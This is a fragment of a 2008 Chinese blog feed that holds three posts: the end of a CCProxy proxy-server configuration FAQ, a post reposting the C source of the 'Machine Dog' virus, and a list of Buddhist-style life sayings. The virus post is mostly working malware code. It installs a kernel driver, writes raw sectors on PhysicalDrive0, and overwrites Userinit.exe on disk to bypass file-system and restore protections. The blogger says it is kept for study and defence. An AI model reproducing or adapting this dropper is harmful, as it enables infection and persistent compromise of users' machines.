<p>1) 在CCProxy的”设置”—”高级”—”日志”—”运行流量统计”前面打勾，并设定”流量统计间隔时间”(默认为10分钟)，这样系统会在log文件夹中生成一个文件(如data20030613.txt)，并每隔10分钟系统在该文件中写入一次流量统计数据;<br />
2) 点击”流量统计”，即可打开流量统计文件，观察到流量记录(前面的为流进数据,后面的为流出数据);<br />
3) 下载CCReport插件，可以根据统计出的流量，计算出每用户的使用费用。</p>
<p>怎样实现端口映射?</p>
<p>在”设置”页面点击”端口映射”后面的E按钮,进行相应的设置即可：</p>
<p>怎样设置二级代理?</p>
<p>“设置”-&gt;”高级”-&gt;”二级代理”：选择”启用二级代理”，在代理地址中输入上级代理服务器IP或计算机名称，选择代理协议HTTP/HTTPS/SOCKS，再输入对应的端口。若需要验证密码，则选择”需要验证”，在”用户名”、”密码”框中分别输入指定信息。需要注意的是：<br />
1) 若上级提供了SOCKS5服务，则可以为下级提供包括HTTP/FTP/GOPHER/SOCKS/RTSP/MMS/TELNET等协议在内的几乎任何服务，本程序可以全部自动转换；若上级提供了HTTPS服务，则绝大部分服务也可为下级提供，除了QQ/PP等UDP协议；若上级只提供了HTTP服务，则下级只能使用HTTP/FTP/GOPHER/SOCKS/TELNET等一般协议，RTSP/MMS等协议无法转换。 2) 6.0版支持不同的协议可以设置不同的二级代理或者不使用二级代理，即每一个协议都可以使用不同的上级代理和不同的协议或者部分协议使用上级代理，而部分协议可以不使用上级代理，也可以全部使用同一个上级代理和协议。</p>
<p>怎样同时运行多个ccproxy进程?</p>
<p>编辑ccproxy.ini，修改EnableMultiRun=1即可，但须安装在不同目录，使用不同端口。</p>
<p>怎样访问带域验证的网页?</p>
<p>可以只设置socks代理(如图)来实现访问，CCProxy要开放DNS服务和SOCKS4服务，客户端的DNS里要设置服务器的IP地址。</p>
<p>怎样结合杀毒软件检查所有通过代理发送和接收的邮件病毒?</p>
<p>编辑ccproxy.ini，修改AntiVirusGate=1表示启用邮件杀毒。目前我们测试过的软件有瑞星2003版和Norton 2003版，只要服务器上安装了这样的杀毒软件，就可以实现代理服务器邮件杀毒功能。</p>
<p>如何控制流媒体视频带宽?</p>
<p>编辑ccproxy.ini，修改[MMS]项：EnableRecord=1</p>
<p>如何屏蔽端口和屏蔽IP?</p>
<p>编辑ccproxy.ini，修改[DestDisable]项：<br />
PortDisabled=1表示启用端口屏蔽，Port=25;110;80表示屏蔽这些端口;<br />
IPDisabled=1表示启用IP屏蔽，IP=0.0.0.0-202.0.0.0表示屏蔽这个范围内的IP</p>
<p>用户通过web方式发送邮件时如何禁止发送附件?</p>
<p>在”内容过滤”里加入”;; filename=”。(注意: 在分号后面有一空格，如果有其余过滤的内容如chat等必须放在第一位，如图)</p>
<p>怎样在客户端Ping互联网地址?</p>
<p>1）首先确认CCProxy的Telnet代理已经打开。<br />
2）假设代理服务器地址是192.168.0.1，在客户端上输入命令行 telnet 192.168.0.1，然后回车。<br />
3）在提示符CCProxy Telnet&gt;后，输入你要ping的地址，如ping sina.com.cn ，然后回车。</p>
<p>在远程终端服务(Terminal Services)下运行CCProxy需要注意的事项?</p>
<p>如果在远程终端服务(Terminal Services)下运行CCProxy，而且以NT服务方式运行，需要设置CCProxy.ini里的一个参数：TerminalServices=1。显示CCProxy界面只需要再次运行CCProxy就可以了。</p>
<p>怎样在代理服务器CCProxy里巧妙的利用Auto Proxy功能?</p>
<p>在代理服务器CCProxy里巧妙的利用Auto Proxy功能,请看详细设置</p>
<p>C源代码：客户端怎样通过proxy进行连接，支持https, socks5代理?</p>
<p>客户端通过proxy进行连接，支持https, socks5代理的C源代码请看</p>
<p>如何突破屏蔽代理访问的网站?</p>
<p>有些网站屏蔽代理访问,可以通过编辑CCProxy目录下的CCProxy.ini来突破屏蔽,把EnableProxyConnection=0改为1，然后保存文件并重启CCProxy软件。详细设置&gt;&gt;</p>
<p>如何绑定服务器IP地址?</p>
<p>编辑CCProxy目录下CCProxy.ini文件,把ServerBindIP=0.0.0.0改为服务器接入线路的IP地址,然后保存文件并重启CCP roxy软件。当服务器有多条线路接入时,管理员可以通过此功能合理分配带宽资源。详细设置&gt;&gt;</p>
<p>如何让目标网站无法得知你是从哪个网站进入该网站?</p>
<p>编辑CCProxy目录下CCProxy.ini文件,把EnableReferer=0改为1,然后保存文件并重启CCProxy软件。此功能便于保密,让目标网站无法得知你是从哪个网站进入该网站的。详细设置&gt;&gt;</p>
<p>如何关闭gzip,加强广告条功能的应用范围？</p>
<p>编辑CCProxy目录下CCProxy.ini文件,把EnableGzip的值改为0,然后保存文件并重启CCProxy软件,此功能可以大大加强广告条功能的应用范围。详细设置&gt;&gt;</p></blockquote>
]]></content:encoded>
			<wfw:commentRss>http://www.a-boss.com/2008/07/17/ccproxy-661-%e7%bb%bf%e8%89%b2%e5%8e%bb%e5%9b%be%e6%a0%87%e7%89%88.html/feed</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>机器狗源码（C的）</title>
		<link>http://www.a-boss.com/2008/03/20/%e6%9c%ba%e5%99%a8%e7%8b%97%e6%ba%90%e7%a0%81%ef%bc%88c%e7%9a%84%ef%bc%89.html</link>
		<comments>http://www.a-boss.com/2008/03/20/%e6%9c%ba%e5%99%a8%e7%8b%97%e6%ba%90%e7%a0%81%ef%bc%88c%e7%9a%84%ef%bc%89.html#comments</comments>
		<pubDate>Thu, 20 Mar 2008 22:55:44 +0000</pubDate>
		<dc:creator>robay</dc:creator>
				<category><![CDATA[技术相关]]></category>
		<category><![CDATA[IE]]></category>
		<category><![CDATA[s1]]></category>
		<category><![CDATA[代码]]></category>
		<category><![CDATA[学习]]></category>
		<category><![CDATA[硬盘]]></category>
		<category><![CDATA[程序]]></category>
		<category><![CDATA[资源]]></category>
		<category><![CDATA[隐藏]]></category>

		<guid isPermaLink="false">http://www.a-boss.com/blog/?p=86</guid>
		<description><![CDATA[前面的日志里曾经提到过机器狗的病毒，今天上网的时候无意中看了它的源码，转过来留存下，有机会认真学习一下，了解下其原理，防范于未然！ // Test.cpp : 定义控制台应用程序的入口点。 /... ]]></description>
			<content:encoded><![CDATA[<p>前面的日志里曾经提到过机器狗的病毒，今天上网的时候无意中看了它的源码，转过来留存下，有机会认真学习一下，了解下其原理，防范于未然！</p>
<blockquote><p>// Test.cpp : 定义控制台应用程序的入口点。<br />
//<br />
#include “stdafx.h”</p>
<p>//===========================================================<br />
#include &lt;pshpack1.h&gt;<br />
typedef struct _PARTITION_ENTRY<br />
{<br />
UCHAR active;                 // 能否启动标志<br />
UCHAR StartHead;               // 该分区起始磁头号<br />
UCHAR StartSector;             // 起始柱面号高2位：6位起始扇区号<br />
UCHAR StartCylinder;           // 起始柱面号低8位<br />
UCHAR PartitionType;           // 分区类型<br />
UCHAR EndHead;                 // 该分区终止磁头号<br />
UCHAR EndSector;               // 终止柱面号高2位：6位终止扇区号<br />
UCHAR EndCylinder;             // 终止柱面号低8位<br />
ULONG StartLBA;               // 起始扇区号<br />
ULONG TotalSector;             // 分区尺寸（总扇区数）<br />
} PARTITION_ENTRY, *PPARTITION_ENTRY;</p>
<p>//============================================================<br />
typedef struct _MBR_SECTOR<br />
{<br />
UCHAR             BootCode[446];<br />
PARTITION_ENTRY   Partition[4];<br />
USHORT           Signature;<br />
} MBR_SECTOR, *PMBR_SECTOR;</p>
<p>//==========================================================<br />
typedef struct _BBR_SECTOR<br />
{<br />
USHORT JmpCode;               // 2字节跳转指令,跳转到引导代码<br />
UCHAR   NopCode;               // 1字节nop指令,填充用,保证跳转指令长3个字节<br />
UCHAR   OEMName[8];             // 8字节的OEMName</p>
<p>// 下面开始为: BPB( BIOS Parameter Block )</p>
<p>USHORT BytesPerSector;         // 每个扇区的字节数 (512 1024 2048 4096)<br />
UCHAR   SectorsPerCluster;     // 每个簇的扇区数 ( 1 2 4 8 16 32 64 128 )两者相乘不能超过32K(簇最大大小)<br />
USHORT ReservedSectors;       // 从卷的第一个扇区开始的保留扇区数目,该值不能为0，对于FAT12/FAT16，该值通常为1,对于FAT32，典型值为32<br />
UCHAR   NumberOfFATs;           // 卷上FAT数据结构的数目，该值通常应为2,[NTFS不使用NumberOfFATs字段，必须为0]<br />
USHORT RootEntries;           // 对于FAT12/FAT16,该值表示32字节目录项的数目,对于FAT32，该值必须为0；[NTFS不使用]<br />
USHORT NumberOfSectors16;     // 该卷上的扇区总数，该字段可以为0，如果该字段为0，则NumberOfSectors32不能为0；对于FAT32，该字段必须为0 [FAT32/NTFS不使用该字段]<br />
UCHAR   MediaDescriptor;       // 介质类型<br />
USHORT SectorsPerFAT16;       // 该字段标识一个FAT结构占有的扇区数（FAT12/FAT16）,对于FAT32卷，该字段必须为0；[FAT32/NTFS不使用该字段]<br />
USHORT SectorsPerTrack;       // 用于INT 0&#215;13中断的每个磁道的扇区数<br />
USHORT HeadsPerCylinder;       // 用于INT 0&#215;13中断的每个柱面的磁头数<br />
ULONG   HiddenSectors;         // 包含该FAT卷的分区之前的隐藏扇区数<br />
ULONG   NumberOfSectors32;     // 该字段包含该卷上的所有扇区数目，对于FAT32，该字段不为0；FAT12/FAT16可根据实际大小是否超过65536个扇区数决定是否采用该字段； [NTFS不使用该字段]</p>
<p>// 下面开始为: EBPB ( Extended BIOS Parameter Block )</p>
<p>ULONG   SectorsPerFAT32;       // 对于FAT32，该字段包含一个FAT的大小，而SectorsPerFAT16字段必须为0;<br />
} BBR_SECTOR, *PBBR_SECTOR;</p>
<p>#include &lt;poppack.h&gt;</p>
<p>#define PARTITION_TYPE_NTFS         0&#215;07<br />
#define PARTITION_TYPE_FAT32         0x0B<br />
#define PARTITION_TYPE_FAT32_LBA     0x0C</p>
<p>//==========================================================<br />
#define STR_SYSFILE_PATH             TEXT(“%SystemRoot%\\system32\\drivers\\pcihdd.sys”)<br />
#define STR_VIRFILE_PATH             TEXT(“%SystemRoot%\\System32\\Userinit.exe”)<br />
#define STR_DSKDEVICE_NAME           TEXT(“\\\\.\\PhysicalDrive0&#8243;)<br />
#define STR_HDDDEVICE_NAME           TEXT(“\\\\.\\PhysicalHardDisk0&#8243;)</p>
<p>//=========================================================<br />
#define IOCTL_MYDEV_BASE                 0xF000<br />
#define IOCTL_MYDEV_Fun_0xF01           CTL_CODE(IOCTL_MYDEV_BASE, 0xF01, METHOD_BUFFERED, FILE_ANY_ACCESS)</p>
<p>//============================================================<br />
DWORD InstallAndStartDriver(HMODULE ModuleHandle)<br />
{<br />
TCHAR           filePath[MAX_PATH];<br />
HANDLE           fileHandle;<br />
HRSRC           hSysRes;<br />
DWORD           dwWritten;<br />
DWORD           dwSysLen;<br />
PVOID           lpSysBuf;<br />
SC_HANDLE       hSCManager;<br />
SC_HANDLE       hService;<br />
SERVICE_STATUS   sService;<br />
DWORD           errCode = ERROR_SUCCESS;<br />
if(<br />
(NULL == (hSysRes = FindResource(ModuleHandle, (LPCTSTR)1001, (LPCTSTR)1001)))<br />
||<br />
(0     == (dwSysLen = SizeofResource(ModuleHandle, hSysRes)))<br />
||<br />
(NULL == (lpSysBuf = LockResource(hSysRes)))<br />
||<br />
(0     == ExpandEnvironmentStrings(STR_SYSFILE_PATH, &amp;filePath[0], sizeof(filePath)))<br />
||<br />
(INVALID_HANDLE_VALUE == (fileHandle = CreateFile(filePath, GENERIC_WRITE, 0, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL)))<br />
)<br />
{<br />
errCode = GetLastError();<br />
goto FunExit00;<br />
}<br />
if(<br />
!WriteFile(fileHandle, lpSysBuf, dwSysLen, &amp;dwWritten, NULL)<br />
||<br />
!SetEndOfFile(fileHandle)<br />
||<br />
!FlushFileBuffers(fileHandle)<br />
)<br />
{<br />
errCode = GetLastError();<br />
}<br />
CloseHandle(fileHandle);<br />
if(ERROR_SUCCESS != errCode)<br />
{<br />
goto FunExit01;<br />
}<br />
if(NULL == (hSCManager = OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS)))<br />
{<br />
errCode = GetLastError();<br />
goto FunExit01;<br />
}<br />
hService = CreateService(<br />
hSCManager,<br />
TEXT(“PciHdd”),<br />
TEXT(“PciHdd”),<br />
SERVICE_ALL_ACCESS,<br />
SERVICE_KERNEL_DRIVER,<br />
SERVICE_DEMAND_START,<br />
SERVICE_ERROR_IGNORE,<br />
filePath,<br />
NULL,<br />
NULL,<br />
NULL,<br />
NULL,<br />
NULL<br />
);<br />
if(NULL != hService)<br />
{<br />
CloseServiceHandle(hService);<br />
}<br />
else<br />
{<br />
if(NULL != (hService = OpenService(hSCManager, TEXT(“PciHdd”), SERVICE_ALL_ACCESS)))<br />
{<br />
ControlService(hService, SERVICE_CONTROL_STOP, &amp;sService);<br />
DeleteService(hService);<br />
CloseServiceHandle(hService);<br />
}<br />
hService = CreateService(<br />
hSCManager,<br />
TEXT(“PciHdd”),<br />
TEXT(“PciHdd”),<br />
SERVICE_ALL_ACCESS,<br />
SERVICE_KERNEL_DRIVER,<br />
SERVICE_DEMAND_START,<br />
SERVICE_ERROR_IGNORE,<br />
filePath,<br />
NULL,<br />
NULL,<br />
NULL,<br />
NULL,<br />
NULL<br />
);<br />
if(NULL != hService)<br />
{<br />
CloseServiceHandle(hService);<br />
}<br />
else<br />
{<br />
errCode = GetLastError();<br />
goto FunExit02;<br />
}<br />
}<br />
if(NULL == (hService = OpenService(hSCManager, TEXT(“PciHdd”), SERVICE_START)))<br />
{<br />
errCode = GetLastError();<br />
goto FunExit02;<br />
}<br />
StartService(hService, 0, NULL);<br />
CloseServiceHandle(hService);<br />
FunExit02:<br />
CloseServiceHandle(hSCManager);<br />
FunExit01:<br />
DeleteFile(filePath);<br />
FunExit00:<br />
return err<br />
Code;<br />
}</p>
<p>//========================================================<br />
DWORD StopAndDeleteDriver(VOID)<br />
{<br />
TCHAR           filePath[MAX_PATH];<br />
SC_HANDLE       hSCManager;<br />
SC_HANDLE       hService;<br />
SERVICE_STATUS   sService;<br />
DWORD           errCode = ERROR_SUCCESS;<br />
if(NULL == (hSCManager = OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS)))<br />
{<br />
errCode = GetLastError();<br />
goto FunExit00;<br />
}<br />
if(NULL == (hService = OpenService(hSCManager, TEXT(“PciHdd”), SERVICE_ALL_ACCESS)))<br />
{<br />
errCode = GetLastError();<br />
goto FunExit01;<br />
}<br />
ControlService(hService, SERVICE_CONTROL_STOP, &amp;sService);<br />
DeleteService(hService);<br />
CloseServiceHandle(hService);<br />
FunExit01:<br />
CloseServiceHandle(hSCManager);<br />
FunExit00:<br />
ExpandEnvironmentStrings(STR_SYSFILE_PATH, &amp;filePath[0], sizeof(filePath));<br />
DeleteFile(filePath);<br />
return errCode;<br />
}</p>
<p>//========================================================<br />
// 感染硬盘第一个分区的指定的文件<br />
//<br />
// 1)通过FSCTL_GET_RETRIEVAL_POINTERS获取文件数据的分布 信息<br />
//<br />
// 2)通过直接访问硬盘(\\\\.\\PhysicalHardDisk0)的的MDR和第一个分区的引导扇区得到分区参数来定位文件。<br />
//<br />
// 3)通过对比ReadFile读取的文件数据和自己定位后直接 读取所得到的文件数据，确定定位是否正确<br />
//<br />
// 入口参数:<br />
// 要感染的文件名（完整路径）<br />
//<br />
// Return value:<br />
// Success -&gt; NULL<br />
// Failed   -&gt; 指向出错信息的指针<br />
//==========================================================<br />
DWORD WriteVirusToDisk(LPCTSTR VirusFile)<br />
{<br />
STARTING_VCN_INPUT_BUFFER   iVcnBuf;<br />
UCHAR                       oVcnBuf[272];<br />
PRETRIEVAL_POINTERS_BUFFER lpVcnBuf;<br />
DWORD                       dwVcnExtents;<br />
LARGE_INTEGER               startLcn;<br />
PUCHAR                     lpClusterBuf;<br />
DWORD                       dwClusterLen;<br />
UCHAR                       dataBuf[512];<br />
UCHAR                       diskBuf[512];<br />
DWORD                       dataLen;<br />
LARGE_INTEGER               diskPos;<br />
PPARTITION_ENTRY           lpPartition;<br />
ULONG                       dwPartitionStart;<br />
ULONG                       dwPartitionType;<br />
PBBR_SECTOR                 lpBootSector;<br />
DWORD                       SectorsPerCluster;<br />
HANDLE                     hHddDevice;<br />
HANDLE                     hDskDevice;<br />
HANDLE                     hVirusFile;<br />
DWORD                       errCode = ERROR_SUCCESS;<br />
if(INVALID_HANDLE_VALUE == (hHddDevice = CreateFileA(STR_HDDDEVICE_NAME, GENERIC_READ, 0, NULL, OPEN_EXISTING, 0, NULL)))<br />
{<br />
errCode = GetLastError();<br />
goto FunExit00;<br />
}<br />
//<br />
if(INVALID_HANDLE_VALUE == (hVirusFile = CreateFileA(VirusFile, GENERIC_READ, FILE_SHARE_READ|FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_FLAG_NO_BUFFERING, NULL)))<br />
{<br />
errCode = GetLastError();<br />
goto FunExit01;<br />
}<br />
iVcnBuf.StartingVcn.QuadPart = 0;<br />
RtlZeroMemory(oVcnBuf, sizeof(oVcnBuf));<br />
if(!DeviceIoControl(hVirusFile, FSCTL_GET_RETRIEVAL_POINTERS, &amp;iVcnBuf, sizeof(iVcnBuf), &amp;oVcnBuf[0], sizeof(oVcnBuf), &amp;dataLen, NULL))<br />
{<br />
errCode = GetLastError();<br />
goto FunExit02;<br />
}<br />
lpVcnBuf = (PRETRIEVAL_POINTERS_BUFFER)&amp;oVcnBuf[0];<br />
dwVcnExtents = lpVcnBuf-&gt;ExtentCount;<br />
startLcn     = lpVcnBuf-&gt;Extents[0].Lcn;<br />
if(!dwVcnExtents)<br />
{<br />
errCode = (ULONG)(-3); // 文件太小, 不能操作<br />
goto FunExit02;<br />
}<br />
if(startLcn.QuadPart == -1)<br />
{<br />
errCode = (ULONG)(-4); // 该文件是压缩文件, 不能操作<br />
goto FunExit02;<br />
}<br />
ReadFile(hVirusFile, dataBuf, sizeof(dataBuf), &amp;dataLen, NULL);<br />
// 打开第一个物理硬盘<br />
if(INVALID_HANDLE_VALUE == (hDskDevice = CreateFileA(STR_DSKDEVICE_NAME, GENERIC_READ|GENERIC_WRITE, FILE_SHARE_READ|FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, NULL)))<br />
{<br />
errCode = GetLastError();<br />
goto FunExit02;<br />
}<br />
// 读取硬盘第一个扇区(MBR)<br />
SetFilePointer(hDskDevice, 0, NULL, FILE_BEGIN);<br />
ReadFile(hDskDevice, diskBuf, sizeof(diskBuf), &amp;dataLen, NULL);<br />
lpPartition = &amp;(((PMBR_SECTOR)&amp;diskBuf[0])-&gt;Partition[0]);<br />
if(lpPartition[0].active != 0&#215;80)<br />
{<br />
errCode = (ULONG)(-1); // 分区不是启动分区<br />
goto FunExit03;<br />
}<br />
dwPartitionType = lpPartition[0].PartitionType;<br />
if(<br />
dwPartitionType != PARTITION_TYPE_FAT32<br />
&amp;&amp;<br />
dwPartitionType != PARTITION_TYPE_FAT32_LBA<br />
&amp;&amp;<br />
dwPartitionType != PARTITION_TYPE_NTFS<br />
)<br />
{<br />
errCode = (ULONG)(-2); // 不支持的磁盘分区<br />
goto FunExit03;<br />
}<br />
dwPartitionStart = lpPartition[0].StartLBA;<br />
diskPos.QuadPart = dwPartitionStart * 512;<br />
// 读取启动分区的第一个扇区(启动扇区)<br />
SetFilePointer(hDskDevice, diskPos.LowPart, &amp;diskPos.HighPart, FILE_BEGIN);<br />
ReadFile(hDskDevice, diskBuf, sizeof(diskBuf), &amp;dataLen, NULL);<br />
lpBootSector = (PBBR_SECTOR)&amp;diskBuf[0];<br />
SectorsPerCluster = lpBootSector-&gt;SectorsPerCluster;<br />
// 根据FAT32/NTFS计算Userinit的起始簇的偏移量<br />
diskPos.QuadPart = dwPartitionStart;<br />
diskPos.QuadPart+= lpBootSector-&gt;ReservedSectors;<br />
if(dwPartitionType == PARTITION_TYPE_FAT32 || dwPartitionType == PARTITION_TYPE_FAT32_LBA)<br />
{<br />
diskPos.QuadPart+= lpBootSector-&gt;NumberOfFATs * lpBootSector-&gt;SectorsPerFAT32;<br />
}<br />
diskPos.QuadPart+= startLcn.QuadPart * SectorsPerCluster;<br />
diskPos.QuadPart*= 512;<br />
// 检查文件寻址<br />
SetFilePointer(hDskDevice, diskPos.LowPart, &amp;diskPos.HighPart, FILE_BEGIN);<br />
ReadFile(hDskDevice, diskBuf, sizeof(diskBuf), &amp;dataLen, NULL);<br />
if(!RtlEqualMemory(dataBuf, diskBuf, sizeof(diskBuf)))<br />
{<br />
errCode = (ULONG)(-5); // 寻址文件不成功<br />
goto FunExit03;<br />
}<br />
// 分配缓冲<br />
dwClusterLen = SectorsPerCluster*512;<br />
lpClusterBuf = (PUCHAR)GlobalAlloc(GMEM_ZEROINIT, dwClusterLen); // 保存一个簇所要的缓冲<br />
if(!lpClusterBuf)<br />
{<br />
errCode = GetLastError(); // 寻址文件不成功<br />
goto FunExit03;<br />
}<br />
// 把Virus文件的数据从SYS文件资源段中解码出来<br />
if(!DeviceIoControl(<br />
hVirusFile,<br />
IOCTL_MYDEV_Fun_0xF01,<br />
(PVOID)0&#215;00401000,         // 本执行文件代码段的开始, 在C语言中我不会表达<br />
0x73E,                     // 本执行文件代码段的长度, 在C语言中我不会表达<br />
lpClusterBuf,<br />
dwClusterLen,<br />
&amp;dataLen,<br />
NULL<br />
))<br />
{<br />
errCode = GetLastError();<br />
goto FunExit04;<br />
}<br />
// 写Virus文件的数据到磁盘<br />
SetFilePointer(hDskDevice, diskPos.LowPart, &amp;diskPos.HighPart, FILE_BEGIN);<br />
WriteFile(hDskDevice, lpClusterBuf, dwClusterLen, &amp;dataLen, NULL);<br />
FlushFileBuffers(hDskDevice);<br />
errCode = ERROR_SUCCESS;<br />
FunExit04:<br />
GlobalFree(lpClusterBuf);<br />
FunExit03:<br />
CloseHandle(hDskDevice);<br />
FunExit02:<br />
CloseHandle(hVirusFile);<br />
FunExit01:<br />
CloseHandle(hHddDevice);<br />
FunExit00:<br />
return errCode;<br />
}</p>
<p>//==========================================================<br />
int _tmain(int argc, _TCHAR* argv[])<br />
{<br />
TCHAR           filePath[MAX_PATH];<br />
DWORD           errCode;<br />
if(ERROR_SUCCESS != (errCode = InstallAndStartDriver(GetM<br />
oduleHandleA(NULL))))<br />
{<br />
MessageBox(NULL, TEXT(“驱动程序的加载没有成功,程序将无法运行”), NULL, MB_ICONERROR);<br />
goto FunExit00;<br />
}<br />
ExpandEnvironmentStrings(STR_VIRFILE_PATH, &amp;filePath[0], sizeof(filePath));<br />
WriteVirusToDisk(filePath);<br />
StopAndDeleteDriver();<br />
FunExit00:<br />
return 0;<br />
}</p></blockquote>
]]></content:encoded>
			<wfw:commentRss>http://www.a-boss.com/2008/03/20/%e6%9c%ba%e5%99%a8%e7%8b%97%e6%ba%90%e7%a0%81%ef%bc%88c%e7%9a%84%ef%bc%89.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>佛言百句养心养性</title>
		<link>http://www.a-boss.com/2008/02/27/%e4%bd%9b%e8%a8%80%e7%99%be%e5%8f%a5%e5%85%bb%e5%bf%83%e5%85%bb%e6%80%a7.html</link>
		<comments>http://www.a-boss.com/2008/02/27/%e4%bd%9b%e8%a8%80%e7%99%be%e5%8f%a5%e5%85%bb%e5%bf%83%e5%85%bb%e6%80%a7.html#comments</comments>
		<pubDate>Wed, 27 Feb 2008 16:45:24 +0000</pubDate>
		<dc:creator>robay</dc:creator>
				<category><![CDATA[生活随笔]]></category>
		<category><![CDATA[养生]]></category>
		<category><![CDATA[哲学]]></category>
		<category><![CDATA[生活]]></category>
		<category><![CDATA[空间]]></category>
		<category><![CDATA[笑话]]></category>
		<category><![CDATA[隐藏]]></category>
		<category><![CDATA[骗子]]></category>

		<guid isPermaLink="false">http://www.a-boss.com/blog/?p=79</guid>
		<description><![CDATA[从别的地方找到的，看着不错，与大家共勉吧！ 仔细想想，确实能够让人平心静气，佛学其实就是一种心理慰籍！ 中庸也好，籍口也好，关键是所达到的结果！ 1、人之所以痛苦，在于追求错... ]]></description>
			<content:encoded><![CDATA[<p>从别的地方找到的，看着不错，与大家共勉吧！<br />
仔细想想，确实能够让人平心静气，佛学其实就是一种心理慰籍！<br />
中庸也好，籍口也好，关键是所达到的结果！</p>
<p>1、人之所以痛苦，在于追求错误的东西。<br />
2、与其说是别人让你痛苦，不如说自己的修养不够。<br />
3、如果你不给自己烦恼，别人也永远不可能给你烦恼。因为你自己的内心，你放不下。<br />
4、好好的管教你自己，不要管别人。<br />
5、不宽恕众生，不原谅众生，是苦了你自己。<br />
6、别说别人可怜，自己更可怜，自己修行又如何？自己又懂得人生多少？<br />
7、福报不够的人，就会常常听到是非；福报够的人，从来就没听到过是非。<br />
8、你永远要感谢给你逆境的众生。<br />
9、你永远要宽恕众生，不论他有多坏，甚至他伤害过你，你一定要放下，才能得到真正的快乐。<br />
10、这个世界本来就是痛苦的，没有例外的。<br />
11、当你快乐时，你要想这快乐不是永恒的。当你痛苦时，你要想这痛苦也不是永恒的。<br />
12、认识自己，降伏自己，改变自己，才能改变别人。<br />
13、不要浪费你的生命在你一定会后悔的地方上。<br />
14、你什么时候放下，什么时候就没有烦恼。<br />
15、每一种创伤，都是一种成熟。<br />
16、当你知道迷惑时，并不可怜， 当你不知道迷惑时，才是最可怜的。<br />
17、狂妄的人难救，自卑的人更难救。<br />
18、你不要一直不满人家，你应该多检讨自己才对。不满人家，是苦了你自己。<br />
19、你要包容那些意见跟你不同的人，这样子日子比较好过。你要是一直想改变他，那样子你会很痛苦。要学学怎样忍受他才是，怎样包容他才是。<br />
20、承认自己的伟大，就是认同自己的愚痴。<br />
21、一个人如果不能从内心去原谅别人，那他就永远不会心安理得。<br />
22、心中装满着自己的看法与想法的人，永远听不见别人的心声。<br />
23、毁灭人只要一句话，培植一个人却要千句话，请你多口下留情。<br />
24、当你劝告别人时，若不顾及别人的自尊心，那么再好的言语都没有用的。<br />
25、不要在你的智慧中夹杂着傲慢，不要使你的谦虚心缺乏智慧。<br />
26、根本不必回头去看咒骂你的人是谁？如果有一条疯狗咬你一口，难道你也要趴下去反咬他一口吗？<br />
27、忌妒别人，不会给自己增加任何的好处。忌妒别人，也不可能减少别人任何的成就。<br />
28、永远不要浪费你的一分一秒，去想任何你不喜欢的人与事。<br />
29、多少人要离开这个世间时，都会说出同一句话：这世界真是无奈与凄凉啊！<br />
30、恋爱不是慈善事业，不能随便施舍的。感情是没有公式，没有原则，没有道理可循的，可是人们至死都还在执著与追求。<br />
31、请你用慈悲心和温和的态度，把你的不满与委屈说出来，别人就容易接受。<br />
32、创造机会的人是勇者，等待机会的人是愚者。<br />
33、能说不能做，不是真智慧。<br />
34、多用心去倾听别人怎么说，不要急着表达你自己的看法。<br />
35、同样的瓶子，你为什么要装毒药呢？同样的心理，你为什么要充满着烦恼呢？<br />
36、得不到的东西，我们会一直以为他是美好的，那是因为你对他了解太少，没有时间与他相处在一起。当有一天，你深入了解后，你会发现远不是你想像中的那么美好。<br />
37、方正存心，圆通处世。<br />
38、活着一天，就是有福气，就该珍惜。当我哭泣没有鞋子穿的时候，我发现有人却没有脚。<br />
39、多一分心力去注意别人，就少一分心力反省自己，你懂吗？<br />
40、欲知世上刀兵劫，但听屠门夜半声。不要光埋怨自己多病，灾祸横生，多看看横死在你刀下的众生又有多少？<br />
41、憎恨别人对自己是一种很大的损失与伤害。<br />
42、每一个人都拥有生命，但并非每个人都懂得生命，乃至于珍惜生命。虚度生命的人，生命对他来说，并没有多大意义，滥用生命的人，生命对他来说，是一种惩罚。<br />
43、自以为拥有财富的人，其实是被财富所拥有。<br />
44、情执是苦恼的原因，放下情执，你才能得到自在。<br />
45、随缘不是得过且过，因循苟且，而是尽人事听天命，积极乐观面对境缘，而不妄求，贪着。<br />
46、不要太肯定自己的看法，这样子比较少后悔。<br />
47、当你对自己诚实的时候，世界上没有人能够欺骗得了你。<br />
48、用伤害别人的手段来掩饰自己缺点的人，是可耻的。<br />
49、内心充满忌妒，心中不坦白，言语不正的人，不能算是一位五官端正的人。<br />
50、多讲点笑话，以幽默的态度处事，这样子日子会好过一点。<br />
51、活在别人的掌声中，是禁不起考验的人。<br />
52、不要刻意去猜测他人的想法，如果你没有智慧与经验的正确判断，通常都会有错误的。<br />
53、要了解一个人，只需要看他的出发点与目的地是否相同，就可以知道他是否真心的。<br />
54、人生的真理，藏在平淡清净之中。<br />
55、不洗澡的人，硬擦香水是不会香的。名声与尊贵，是来自于真才实学的。有德自然香。<br />
56、与其你去排斥已成的事实，你不如勇敢接受。<br />
57、逆境是成长必经的过程，能勇于接受逆境的人，生命就会日渐的茁壮。<br />
58、要感谢告诉你缺点的人。<br />
59、能为别人设想的人，永远不寂寞。<br />
60、如果你能像看别人缺点一样，如此准确般的发现自己的缺点，那么你的生命将会不平凡。<br />
61、原谅别人，就是给自己心中留下空间，以便回旋。<br />
62、时间总会过去的，让时间流走你的烦恼吧！<br />
63、你硬要把单纯的事情看得很严重，那样子你会很痛苦。<br />
64、永远扭曲别人善意的人，无药可救。<br />
65、人不是坏，只是习气罢了，每个人都有习气，只是深浅不同罢了。只要他有向善的心，能原谅的就原谅他，不要把他总看做是坏人。<br />
66、说一句谎话，要编造十句谎话来弥补，何苦呢？<br />
67、其实爱美的人，只是与自己谈恋爱罢了。<br />
68、世界上没有一个永远不被毁谤的人，也没有一个永远被赞叹的人。当你话多的时候，别人要批评你，当你话少的时候，别人要批评你，当你沉默的时候，别人还是要批评你。在这个世界上，没有一个人不被批评的。<br />
69、只会夸奖我们，赞叹我们的，这都不是明师，能批评我们，启示我们的，这才是明师，有了他们我们才会进步。<br />
70、你目前所拥有的都将随着你的死亡而成为他人的，那为何不现在就乐意施给真正需要的人呢？<br />
71、白白的过一天，无所事事，就像犯了窃盗罪一样。<br />
72、沉默是毁谤最好的答复。<br />
